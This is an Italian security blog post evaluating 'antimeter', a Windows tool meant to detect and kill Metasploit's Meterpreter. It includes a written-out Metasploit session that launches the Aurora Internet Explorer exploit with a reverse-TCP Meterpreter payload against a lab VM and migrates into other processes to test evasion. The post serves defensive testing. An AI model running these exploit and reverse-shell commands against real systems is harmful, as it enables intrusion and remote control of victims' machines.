VoIP and Hacking | Consulenza Documentazione

Antimeter ovvero anti Meterpreter

by admin on Jun.14, 2010, under Hacking, Sicurezza, Tools

Avendo ricevuto gentilmente da parte di Gianmarco Castagna (http://freeware–software.blogspot.com/) la segnalazione della esistenza di un tool (per Windows) chiamato antimeter, capace di individuare la presenza in memoria del meterpreter di Metasploit (ed anche terminarlo), nonché di una opinione in proposito, mi sono dato un po’ da fare per vedere di cosa si trattasse.

Antimeter è la recente creatura (22 maggio) dell’hacker turco Mert Saricam, che a distanza di 4 giorni è già approdata alla versione 2.0.

L’ultima versione prevede alcuni argomenti opzionali e ha subito l’aggiunta della funzionalità di logging (il log file è antimeter.txt):

-t [time interval] Scansiona la memoria ad intervalli di tempo specificati (per default, ogni minuto)
-a Termina automaticamente il processo meterpreter (Disabilitato per default)
-d Si limita solamente a rilevare l’eventuale presenza del processo meterpreter (Disabilitato per default)
-e [nome programma] Aggiunge il programma specificato ad una lista di processi esclusi dall’essere esaminati
-v Abilita la modalità verbose

Alcuni esempi di utilizzo sono:

antimeter.exe -t 5 -a -v

che scansiona la memoria ogni 5 minuti, terminando automaticamente il processo meterpreter, col verbose mode abilitato.

antimeter.exe -n

che scansiona la memoria ogni minuto, limitandosi a rilevare la presenza di meterpreter.

antimeter.exe -e explorer.exe,winlogon.exe

che scansiona la memoria ogni minuto, escludendo i processi explorer e winlogon dall’essere esaminati.

Ho dovuto combattere un po’ per far funzionare antimeter, dato che una volta scompattato il tool in una directory tutta sua, il relativo eseguibile si rifiutava di avviarsi ed il visualizzatore di eventi, in tale circostanza, indicava cripticamente la mancanza di un “assembly sidebyside”.

Disponendo solamente di un Windows XP SP2 su VirtualBox, ho inizialmente sospettato che l’anomalia dipendesse da ciò.
Dato che comunque, almeno per queste cose, “Google is my friend”, ho deciso di insistere ancora un po’, ed ho trovato un buon suggerimento ad utilizzare il tool Dependency Walker, una utility free che esamina qualsiasi modulo Windows a 32 o 64-bit (exe, dll, ocx, sys, ecc.) e costruisce un diagramma ad albero gerarchico di tutti i moduli dipendenti.

dep_walker

Grazie a tale tool diveniva evidente la semplice mancanza di msvcr90.dll, mancanza risolta installando sulla VM il Microsoft Visual C++ 2008 SP1 Redistributable Package (x86), che comprende i componenti runtime delle Librerie Visual C++ necessari per l’esecuzione di applicazioni sviluppate con Visual C++ SP1 su di un computer che ne sia sprovvisto.
Dopodiché la libreria mancante si andava a posizionare in C:\Windows\SxS\.

Risolta in tal modo la dipendenza, l’eseguibile antimeter si avviava regolarmente, e, senza parametri aggiuntivi, iniziava a scansionare la memoria ad intervalli di tempo prestabiliti (1 minuto).

Restava solo da verificare l’effettiva funzionalità del tool, lanciato successivamente sulla vm con:

antimeter.exe -t 5 -d

Per instaurare la sessione di meterpreter ho sfruttato una vulnerabilità client-side ai danni del browser Internet Explorer (la ormai famosa Aurora):

msf > use windows/browser/ms10_002_aurora
msf exploit(ms10_002_aurora) > set SRVHOST 192.168.1.10
SRVHOST => 192.168.1.10
msf exploit(ms10_002_aurora) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf exploit(ms10_002_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms10_002_aurora) > set URIPATH /
URIPATH => /
msf exploit(ms10_002_aurora) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.10:4444
[*] Using URL: http://192.168.1.10:8080/
[*] Server started.
msf exploit(ms10_002_aurora) >
[*] Sending Internet Explorer "Aurora" Memory Corruption to client 192.168.1.11
[*] Sending stage (748032 bytes) to 192.168.1.11
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.11:1043) at Mon Jun 14 15:53:41 +0200 2010

msf exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ps

Process list
============

 PID   Name              Arch  Session  User                   Path
 ---   ----              ----  -------  ----                   ----
 0     [System Process]
[...]
 1668  explorer.exe      x86   0        XPHONEY\Administrator  C:\WINDOWS\Explorer.EXE
 1796  ctfmon.exe        x86   0        XPHONEY\Administrator  C:\WINDOWS\system32\ctfmon.exe
 1812  inetinfo.exe      x86   0        NT AUTHORITY\SYSTEM    C:\WINDOWS\system32\inetsrv\inetinfo.exe
 1080  wscntfy.exe       x86   0        XPHONEY\Administrator  C:\WINDOWS\system32\wscntfy.exe
 1596  IEXPLORE.EXE      x86   0        XPHONEY\Administrator  C:\Programmi\Internet Explorer\iexplore.exe
 484   cmd.exe           x86   0        XPHONEY\Administrator  C:\WINDOWS\system32\cmd.exe
 552   alg.exe           x86   0                               C:\WINDOWS\System32\alg.exe
 2016  antimeter.exe     x86   0        XPHONEY\Administrator  C:\Programmi\Antimeter2\antimeter.exe

meterpreter > migrate 1668
[*] Migrating to 1668...
[*] Migration completed successfully.

meterpreter > migrate 2016
[*] Migrating to 2016...
[*] Migration completed successfully.

Dal punto di vista della rilevazione, i risultati si sono dimostrati un po’ deludenti, per vari motivi:
Intanto, il tool si è rivelato un divoratore di risorse, per quanto fossero stati allocati 256 Mb di memoria alla macchina virtuale XP.
In secondo luogo, esso riusciva a rilevare la presenza di meterpreter solo con ampio ritardo, quando la migrazione ad altro processo era stata effettuata già da qualche minuto. Dato che le medesime rilevazioni si ripresentavano regolarmente, si potevano pertanto considerare delle false positività.
Infine, il tool non riusciva a rilevare la presenza di meterpreter nel proprio spazio medesimo.

antimeter

Dovendo tirare delle conclusioni, quello che mi sento di affermare è che antimeter è un buon proof of concept, ma deve percorrere ancora parecchia strada nello sviluppo per potersi tramutare in uno strumento di lavoro effettivamente utile.
Rivolgerei comunque a qualche volonteroso l’invito a verificare quanto sperimentato su una reale macchina Windows, e all’autore, di rilasciare anche i sorgenti.
Non è infatti concepibile l’esecuzione di un tool del genere, a scatola chiusa, se non su una macchina di test.

Send post as PDF to PDF | PDF Creator | PDF Converter
:, , , , , , ,

Comments are closed.

Cerchi qualcosa in particolare?

Usa il form qui sotto per cercare nel sito:

Blogroll!

Alcuni links...

Archives

Tutte le entries, in ordine cronologio...